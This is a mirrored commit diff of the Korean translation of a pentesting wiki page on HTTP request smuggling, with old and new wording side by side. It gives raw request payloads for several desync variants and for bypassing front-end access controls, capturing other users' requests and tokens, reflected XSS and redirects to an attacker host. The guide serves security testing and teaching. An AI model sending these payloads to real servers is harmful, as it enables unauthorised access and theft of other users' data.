Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 20:53:37 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['pentesting-web/http-request-smuggling/README.md'] to kr

Browse source
This commit is contained in:
Translator 2024-07-29 13:35:58 +00:00
parent 1cb7cf557e
commit c4b25b8881
1 changed files with 105 additions and 78 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

183
pentesting-web/http-request-smuggling/README.md
View file

@ -1,28 +1,28 @@
# HTTP Request Smuggling / HTTP Desync Attack
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS 해킹 배우기 및 연습하기:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>HackTricks 지원하기</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter**에서 **팔로우**하세요** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}
## What is
## 무엇인가
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 하여 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에서는 **단일 요청**으로 해석되고 **백엔드** 서버에서는 **2개의 요청**으로 해석되도록 합니다.\
이로 인해 사용자는 자신의 **요청 이후에 백엔드 서버에 도착하는 다음 요청을 수정**할 수 있습니다.
이 취약점은 **프론트엔드 프록시**와 **백엔드** 서버 간의 **비동기화**로 인해 **공격자**가 HTTP **요청**을 **전송**할 수 있게 되며, 이 요청은 **프론트엔드** 프록시(로드 밸런스/리버스 프록시)에서는 **단일 요청**으로 **해석**되고 **백엔드** 서버에서는 **2개의 요청**으로 **해석**됩니다.\
이로 인해 사용자는 자신의 요청 이후에 백엔드 서버에 도착하는 **다음 요청을 수정**할 수 있습니다.
### Theory
### 이론
[**RFC Specification (2161)**](https://tools.ietf.org/html/rfc2616)
[**RFC 사양 (2161)**](https://tools.ietf.org/html/rfc2616)
> 메시지가 Transfer-Encoding 헤더 필드와 Content-Length 헤더 필드를 모두 포함하여 수신되면, 후자는 무시해야 합니다.
@ -35,32 +35,36 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
> Transfer-Encoding 헤더는 페이로드 본문을 사용자에게 안전하게 전송하는 데 사용되는 인코딩 형식을 지정합니다.\
> Chunked는 큰 데이터가 일련의 청크로 전송됨을 의미합니다.
### Reality
### 현실
**프론트엔드**(로드 밸런스/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 **처리**하고 **백엔드** 서버는 **다른** 하나를 처리하여 두 시스템 간의 **비동기화**를 유발합니다.\
이는 **공격자가 리버스 프록시로 하나의 요청을 전송**할 수 있게 하여 **백엔드** 서버에서 **2개의 서로 다른 요청**으로 해석되도록 할 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 해석하고 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
**프론트엔드**(로드 밸런스/리버스 프록시)는 _**content-length**_ 또는 _**transfer-encoding**_ 헤더를 **처리**하고 **백엔드** 서버는 **다른** 하나를 **처리**하여 두 시스템 간의 **비동기화**를 유발합니다.\
이는 **공격자가 리버스 프록시**에 **하나의 요청을 전송**할 수 있게 하여 **백엔드** 서버가 이를 **2개의 서로 다른 요청으로 해석**하게 할 수 있으므로 매우 치명적일 수 있습니다. 이 기술의 **위험**은 **백엔드** 서버가 **주입된 2번째 요청**을 **다음 클라이언트**에서 온 것처럼 **해석**하고 그 클라이언트의 **실제 요청**이 **주입된 요청**의 **일부**가 된다는 사실에 있습니다.
### Particularities
### 특이사항
HTTP에서 **새 줄 문자는 2바이트로 구성됩니다:**
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수** 숫자를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, **요청의 끝에 새 줄이 필요하지 않습니다**.
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수** 숫자를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크와 2개의 새 줄**로 끝나야 합니다: `0`
* **Content-Length**: 이 헤더는 요청 본문의 **바이트 수**를 나타내기 위해 **10진수**를 사용합니다. 본문은 마지막 문자에서 끝나는 것으로 예상되며, **요청 끝에 새 줄이 필요하지 않습니다**.
* **Transfer-Encoding:** 이 헤더는 **다음 청크**의 **바이트 수**를 나타내기 위해 본문에서 **16진수**를 사용합니다. **청크**는 **새 줄**로 **끝나야** 하지만 이 새 줄은 **길이 표시기**에 의해 **계산되지 않습니다**. 이 전송 방법은 **크기 0의 청크로 끝나고 2개의 새 줄이 뒤따라야** 합니다: `0`
* **Connection**: 제 경험에 따르면 요청 스머글링의 첫 번째 요청에서 **`Connection: keep-alive`**를 사용하는 것이 좋습니다.
## Basic Examples
## 기본 예제
{% hint style="success" %}
Burp Suite로 이를 악용하려고 할 때 **`Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
Burp Suite로 이를 악용하려고 할 때 **리피터에서 `Update Content-Length` 및 `Normalize HTTP/1 line endings`를 비활성화**하세요. 일부 도구는 새 줄, 캐리지 리턴 및 잘못된 content-length를 남용합니다.
{% endhint %}
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래하는 데서 발생합니다.
HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding` (TE) 헤더를 해석하는 프론트엔드와 백엔드 서버 간의 불일치를 이용하여 모호한 요청을 전송함으로써 만들어집니다. 이러한 공격은 주로 **CL.TE**, **TE.CL**, 및 **TE.TE** 형태로 나타날 수 있습니다. 각 유형은 프론트엔드와 백엔드 서버가 이러한 헤더를 우선시하는 방식의 고유한 조합을 나타냅니다. 취약점은 서버가 동일한 요청을 서로 다른 방식으로 처리하여 예상치 못한 결과를 초래할 때 발생합니다.
### Basic Examples of Vulnerability Types
### 취약점 유형의 기본 예제
![https://twitter.com/SpiderSec/status/1200413390339887104?ref\_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104\&ref\_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../.gitbook/assets/EKi5edAUUAAIPIK.jpg)
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
{% hint style="info" %}
이전 표에 TE.0 기술을 추가해야 하며, CL.0 기술과 유사하지만 Transfer Encoding을 사용합니다.
{% endhint %}
#### CL.TE 취약점 (프론트엔드에서 사용된 Content-Length, 백엔드에서 사용된 Transfer-Encoding)
* **프론트엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
@ -68,7 +72,7 @@ HTTP 요청 스머글링 공격은 `Content-Length` (CL) 및 `Transfer-Encoding`
* 공격자가 `Content-Length` 헤더의 값이 실제 콘텐츠 길이와 일치하지 않는 요청을 보냅니다.
* 프론트엔드 서버는 `Content-Length` 값을 기반으로 전체 요청을 백엔드로 전달합니다.
* 백엔드 서버는 `Transfer-Encoding: chunked` 헤더로 인해 요청을 청크로 처리하여 나머지 데이터를 별도의 후속 요청으로 해석합니다.
* **예시:**
* **예제:**
```
POST / HTTP/1.1
@ -83,7 +87,7 @@ GET /404 HTTP/1.1
Foo: x
```
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
#### TE.CL 취약점 (프론트엔드에서 사용된 Transfer-Encoding, 백엔드에서 사용된 Content-Length)
* **프론트엔드 (TE):** `Transfer-Encoding` 헤더를 기반으로 요청을 처리합니다.
* **백엔드 (CL):** `Content-Length` 헤더를 기반으로 요청을 처리합니다.
@ -91,7 +95,7 @@ Foo: x
* 공격자가 청크 크기(`7b`)와 실제 콘텐츠 길이(`Content-Length: 4`)가 일치하지 않는 청크 요청을 보냅니다.
* 프론트엔드 서버는 `Transfer-Encoding`을 존중하여 전체 요청을 백엔드로 전달합니다.
* 백엔드 서버는 `Content-Length`를 존중하여 요청의 초기 부분(`7b` 바이트)만 처리하고 나머지는 의도하지 않은 후속 요청의 일부로 남깁니다.
* **예시:**
* **예제:**
```
POST / HTTP/1.1
@ -111,14 +115,14 @@ x=
```
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
#### TE.TE 취약점 (둘 다 Transfer-Encoding을 사용하며, 난독화)
* **서버:** 두 서버 모두 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
* **서버:** 둘 다 `Transfer-Encoding`을 지원하지만, 하나는 난독화를 통해 이를 무시하도록 속일 수 있습니다.
* **공격 시나리오:**
* 공격자가 난독화된 `Transfer-Encoding` 헤더가 있는 요청을 보냅니다.
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하느냐에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
* 어떤 서버(프론트엔드 또는 백엔드)가 난독화를 인식하지 못하는지에 따라 CL.TE 또는 TE.CL 취약점이 악용될 수 있습니다.
* 요청의 처리되지 않은 부분은 서버 중 하나에서 후속 요청의 일부가 되어 스머글링으로 이어집니다.
* **예시:**
* **예제:**
```
POST / HTTP/1.1
@ -137,11 +141,11 @@ Transfer-Encoding
: chunked
```
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End):**
#### **CL.CL 시나리오 (프론트엔드와 백엔드 모두에서 사용된 Content-Length)**
* 두 서버 모두 `Content-Length` 헤더만을 기반으로 요청을 처리합니다.
* 두 서버는 요청을 오직 `Content-Length` 헤더만 기반으로 처리합니다.
* 이 시나리오는 일반적으로 스머글링으로 이어지지 않으며, 두 서버가 요청 길이를 해석하는 방식이 일치합니다.
* **예시:**
* **예제:**
```
POST / HTTP/1.1
@ -152,11 +156,11 @@ Connection: keep-alive
Normal Request
```
#### **CL != 0 Scenario:**
#### **CL.0 시나리오**
* `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지는 시나리오를 나타내며, 이는 요청 본문에 콘텐츠가 있음을 나타냅니다.
* 이는 스머글링 공격을 이해하고 구성하는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
* **예시:**
* `Content-Length` 헤더가 존재하고 0이 아닌 값을 가지며 요청 본문에 콘텐츠가 있음을 나타냅니다. 백엔드는 `Content-Length` 헤더를 무시하고(0으로 처리됨), 프론트엔드는 이를 파싱합니다.
* 이는 스머글링 공격을 이해하고 만드는 데 중요하며, 서버가 요청의 끝을 결정하는 방식에 영향을 미칩니다.
* **예제:**
```
POST / HTTP/1.1
@ -167,15 +171,37 @@ Connection: keep-alive
Non-Empty Body
```
#### Breaking the web server
#### TE.0 시나리오
이 기술은 **초기 HTTP 데이터를 읽는 동안 웹 서버를 중단**시킬 수 있는 시나리오에서도 유용하지만 **연결을 닫지 않고** 수행됩니다. 이렇게 하면 HTTP 요청의 **본문**이 **다음 HTTP 요청**으로 간주됩니다.
* 이전과 유사하지만 TE를 사용합니다.
* 기술 [여기에서 보고됨](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
* **예제**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36
Transfer-Encoding: chunked
Connection: keep-alive
예를 들어, [**이 글**](https://mizu.re/post/twisty-python)에서 설명한 바와 같이, Werkzeug에서는 일부 **유니코드** 문자를 전송하여 서버를 **중단**시킬 수 있었습니다. 그러나 HTTP 연결이 **`Connection: keep-alive`** 헤더로 생성되면 요청의 본문이 읽히지 않고 연결이 여전히 열려 있으므로 요청의 **본문**이 **다음 HTTP 요청**으로 처리됩니다.
50
GET <http://our-collaborator-server/> HTTP/1.1
x: X
0
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### 웹 서버 파괴
#### Forcing via hop-by-hop headers
이 기술은 **초기 HTTP 데이터를 읽는 동안 웹 서버를 파괴할 수 있는** 시나리오에서 유용합니다. 하지만 **연결을 닫지 않고** 진행됩니다. 이렇게 하면 HTTP 요청의 **본문**이 **다음 HTTP 요청**으로 간주됩니다.
Hop-by-hop 헤더를 남용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다**.
예를 들어, [**이 글**](https://mizu.re/post/twisty-python)에서 설명된 바와 같이, Werkzeug에서는 일부 **유니코드** 문자를 전송하여 서버를 **파괴**할 수 있었습니다. 그러나 HTTP 연결이 **`Connection: keep-alive`** 헤더로 생성되었다면 요청의 본문은 읽히지 않고 연결은 여전히 열려 있으므로 요청의 **본문**은 **다음 HTTP 요청**으로 처리됩니다.
#### 홉-바이-홉 헤더를 통한 강제화
홉-바이-홉 헤더를 악용하여 프록시에게 **Content-Length 또는 Transfer-Encoding 헤더를 삭제하도록 지시하여 HTTP 요청 스머글링을 악용할 수 있습니다**.
```
Connection: Content-Length
```
@ -187,7 +213,7 @@ For **more information about hop-by-hop headers** visit:
## Finding HTTP Request Smuggling
HTTP 요청 밀반입 취약점을 식별하는 것은 종종 타이밍 기법을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기법은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
HTTP 요청 밀어내기 취약점을 식별하는 것은 종종 타이밍 기술을 사용하여 달성할 수 있으며, 이는 조작된 요청에 대한 서버의 응답 시간을 관찰하는 데 의존합니다. 이러한 기술은 CL.TE 및 TE.CL 취약점을 감지하는 데 특히 유용합니다. 이러한 방법 외에도 이러한 취약점을 찾는 데 사용할 수 있는 다른 전략과 도구가 있습니다:
### Finding CL.TE Vulnerabilities Using Timing Techniques
@ -207,7 +233,7 @@ A
0
```
* **Observation:**
* 프론트엔드 서버는 `Content-Length`에 따라 요청을 처리하고 메시지를 조기에 차단합니다.
* 프론트엔드 서버는 `Content-Length`를 기반으로 요청을 처리하고 메시지를 조기에 차단합니다.
* 백엔드 서버는 청크 메시지를 기대하며 도착하지 않는 다음 청크를 기다려 지연이 발생합니다.
* **Indicators:**
* 응답의 타임아웃 또는 긴 지연.
@ -230,8 +256,8 @@ Content-Length: 6
X
```
* **Observation:**
* 프론트엔드 서버는 `Transfer-Encoding`에 따라 요청을 처리하고 전체 메시지를 전달합니다.
* 백엔드 서버는 `Content-Length`에 따라 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
* 프론트엔드 서버는 `Transfer-Encoding`을 기반으로 요청을 처리하고 전체 메시지를 전달합니다.
* 백엔드 서버는 `Content-Length`를 기반으로 메시지를 기대하며 도착하지 않는 추가 데이터를 기다려 지연이 발생합니다.
### Other Methods to Find Vulnerabilities
@ -246,25 +272,25 @@ X
### HTTP Request Smuggling Vulnerability Testing
타이밍 기법의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE` 및 `TE.CL` 예제는 클라이언트가 다른 리소스에 접근하려고 하더라도 404 응답을 유도하기 위해 클라이언트의 요청을 오염시키는 방법을 보여줍니다.
타이밍 기술의 효과를 확인한 후, 클라이언트 요청을 조작할 수 있는지 확인하는 것이 중요합니다. 간단한 방법은 요청을 오염시키는 것을 시도하는 것입니다. 예를 들어, `/`에 대한 요청이 404 응답을 생성하도록 만드는 것입니다. 이전에 논의된 `CL.TE` 및 `TE.CL` 예제는 클라이언트의 요청을 오염시켜 404 응답을 유도하는 방법을 보여줍니다. 클라이언트는 다른 리소스에 접근하려고 합니다.
**Key Considerations**
요청 밀반입 취약점을 테스트할 때 다른 요청에 간섭하는 경우 다음 사항을 염두에 두십시오:
요청 밀어내기 취약점을 테스트할 때 다른 요청에 간섭하는 경우 다음 사항을 염두에 두십시오:
* **Distinct Network Connections:** "공격" 요청과 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 모두에 대해 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
* **Consistent URL and Parameters:** 두 요청 모두에 대해 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수에 따라 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격을 위한 전제 조건입니다.
* **Timing and Racing Conditions:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송하십시오. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분산할 수 있습니다. "공격" 요청과 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미친다면, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
* **Distinct Network Connections:** "공격" 및 "정상" 요청은 별도의 네트워크 연결을 통해 전송되어야 합니다. 두 요청 모두에 대해 동일한 연결을 사용하는 것은 취약점의 존재를 검증하지 않습니다.
* **Consistent URL and Parameters:** 두 요청 모두에 대해 동일한 URL 및 매개변수 이름을 사용하도록 합니다. 현대 애플리케이션은 종종 URL 및 매개변수를 기반으로 특정 백엔드 서버로 요청을 라우팅합니다. 이를 일치시키면 두 요청이 동일한 서버에서 처리될 가능성이 높아지며, 이는 성공적인 공격의 전제 조건입니다.
* **Timing and Racing Conditions:** "정상" 요청은 "공격" 요청의 간섭을 감지하기 위해 다른 동시 애플리케이션 요청과 경쟁합니다. 따라서 "공격" 요청 직후에 "정상" 요청을 전송합니다. 바쁜 애플리케이션은 결론적인 취약점 확인을 위해 여러 번의 시도가 필요할 수 있습니다.
* **Load Balancing Challenges:** 로드 밸런서 역할을 하는 프론트엔드 서버는 요청을 다양한 백엔드 시스템에 분배할 수 있습니다. "공격" 및 "정상" 요청이 서로 다른 시스템에 도달하면 공격이 성공하지 않습니다. 이 로드 밸런싱 측면은 취약점을 확인하기 위해 여러 번의 시도가 필요할 수 있습니다.
* **Unintended User Impact:** 공격이 다른 사용자의 요청(탐지를 위해 보낸 "정상" 요청이 아님)에 의도치 않게 영향을 미치는 경우, 이는 공격이 다른 애플리케이션 사용자에게 영향을 미쳤음을 나타냅니다. 지속적인 테스트는 다른 사용자에게 방해가 될 수 있으므로 신중한 접근이 필요합니다.
## Abusing HTTP Request Smuggling
### Circumventing Front-End Security via HTTP Request Smuggling
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀반입을 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 접근이 가능합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀반입된 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
때때로 프론트엔드 프록시는 보안 조치를 시행하여 들어오는 요청을 면밀히 조사합니다. 그러나 이러한 조치는 HTTP 요청 밀어내기를 이용하여 우회할 수 있으며, 이를 통해 제한된 엔드포인트에 대한 무단 액세스를 허용합니다. 예를 들어, `/admin`에 접근하는 것은 외부에서 금지될 수 있으며, 프론트엔드 프록시는 이러한 시도를 적극적으로 차단합니다. 그럼에도 불구하고 이 프록시는 밀어낸 HTTP 요청 내의 내장 요청을 검사하지 않을 수 있어 이러한 제한을 우회할 수 있는 허점을 남깁니다.
다음 예제는 HTTP 요청 밀반입을 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
다음 예제는 HTTP 요청 밀어내기를 사용하여 프론트엔드 보안 제어를 우회하는 방법을 보여줍니다. 특히 일반적으로 프론트엔드 프록시가 보호하는 `/admin` 경로를 목표로 합니다:
**CL.TE Example**
```
@ -305,9 +331,9 @@ a=x
### 프론트엔드 요청 재작성 공개 <a href="#revealing-front-end-request-rewriting" id="revealing-front-end-request-rewriting"></a>
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버에 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드에 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호를 우회**하거나 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
응용 프로그램은 종종 **프론트엔드 서버**를 사용하여 들어오는 요청을 수정한 후 백엔드 서버로 전달합니다. 일반적인 수정 사항은 클라이언트의 IP를 백엔드로 전달하기 위해 `X-Forwarded-For: <IP of the client>`와 같은 헤더를 추가하는 것입니다. 이러한 수정 사항을 이해하는 것은 **보호를 우회**하거나 **숨겨진 정보나 엔드포인트를 드러내는 방법**을 밝혀낼 수 있기 때문에 중요할 수 있습니다.
프록시가 요청을 어떻게 변경하는지 조사하기 위해, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
프록시가 요청을 어떻게 변경하는지 조사하려면, 백엔드가 응답에서 에코하는 POST 매개변수를 찾습니다. 그런 다음, 이 매개변수를 마지막에 사용하여 다음과 유사한 요청을 작성합니다:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -324,13 +350,13 @@ Content-Length: 100
search=
```
이 구조에서 후속 요청 구성 요소는 응답에 반영된 매개변수인 `search=` 뒤에 추가됩니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
이 구조에서는 후속 요청 구성 요소가 `search=` 뒤에 추가되며, 이는 응답에 반영되는 매개변수입니다. 이 반영은 후속 요청의 헤더를 노출시킵니다.
중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것이 중요합니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
중요한 것은 중첩 요청의 `Content-Length` 헤더를 실제 콘텐츠 길이에 맞추는 것입니다. 작은 값으로 시작하여 점진적으로 증가시키는 것이 좋습니다. 너무 낮은 값은 반영된 데이터를 잘라내고, 너무 높은 값은 요청이 오류를 발생시킬 수 있습니다.
이 기술은 TE.CL 취약점의 맥락에서도 적용 가능하지만, 요청은 `search=\r\n0`으로 종료되어야 합니다. 줄 바꿈 문자와 관계없이 값은 검색 매개변수에 추가됩니다.
이 방법은 기본적으로 프론트엔드 프록시가 수행한 요청 수정 사항을 이해하는 데 사용되며, 본질적으로 자가 조사 작업을 수행합니다.
이 방법은 주로 프론트엔드 프록시가 수행한 요청 수정 사항을 이해하는 데 사용되며, 본질적으로 자가 조사 역할을 합니다.
### 다른 사용자의 요청 캡처하기 <a href="#capturing-other-users-requests" id="capturing-other-users-requests"></a>
@ -360,7 +386,7 @@ csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=asdfghjklo&email=email%40ema
그러나 이 기술에는 한계가 있습니다. 일반적으로, 이는 밀반입된 요청에서 사용된 매개변수 구분자까지의 데이터만 캡처합니다. URL 인코딩된 양식 제출의 경우, 이 구분자는 `&` 문자입니다. 이는 피해 사용자 요청에서 캡처된 내용이 첫 번째 `&`에서 중단됨을 의미하며, 이는 쿼리 문자열의 일부일 수도 있습니다.
또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 가치가 있습니다. 이러한 경우, 요청은 `search=\r\n0`으로 끝나야 합니다. 줄 바꿈 문자와 관계없이, 값은 검색 매개변수에 추가됩니다.
또한, 이 접근 방식은 TE.CL 취약점에서도 유효하다는 점에 유의할 필요가 있습니다. 이러한 경우, 요청은 `search=\r\n0`으로 끝나야 합니다. 줄 바꿈 문자와 관계없이, 값은 검색 매개변수에 추가됩니다.
### HTTP request smuggling을 사용하여 반사된 XSS를 악용하기
@ -401,12 +427,12 @@ A=
#### HTTP/0.9
{% hint style="danger" %}
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행이 방지됩니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
사용자 콘텐츠가 **`Content-type`**이 **`text/plain`**인 응답에 반영되는 경우, XSS 실행을 방지합니다. 서버가 **HTTP/0.9를 지원하는 경우 이를 우회할 수 있을지도 모릅니다**!
{% endhint %}
HTTP/0.9 버전은 1.0 이전의 버전으로, **GET** 동사만 사용하며 **헤더**로 응답하지 않고 본체만 응답합니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 이용하여 HTTP/0.9로 요청을 밀반입하는 방식이 악용되었습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함하게 됩니다.
[**이 글**](https://mizu.re/post/twisty-python)에서는 요청 밀반입과 **사용자의 입력에 응답하는 취약한 엔드포인트**를 악용하여 HTTP/0.9로 요청을 밀반입했습니다. 응답에 반영될 매개변수는 **유효한 실행 가능한 JS 코드가 포함된 가짜 HTTP/1.1 응답(헤더와 본체 포함)**을 포함하므로, 응답은 `Content-Type`이 `text/html`인 유효한 실행 가능한 JS 코드를 포함합니다.
### HTTP 요청 밀반입을 통한 사이트 내 리디렉션 악용 <a href="#exploiting-on-site-redirects-with-http-request-smuggling" id="exploiting-on-site-redirects-with-http-request-smuggling"></a>
@ -434,7 +460,7 @@ GET /home HTTP/1.1
Host: attacker-website.com
Foo: X
```
이 스머글된 요청은 다음에 처리된 사용자 요청이 공격자가 제어하는 웹사이트로 리디렉션될 수 있습니다:
이 스머글된 요청은 다음에 처리된 사용자 요청이 공격자 제어 웹사이트로 리디렉션될 수 있습니다:
```
GET /home HTTP/1.1
Host: attacker-website.com
@ -452,9 +478,9 @@ Location: https://attacker-website.com/home/
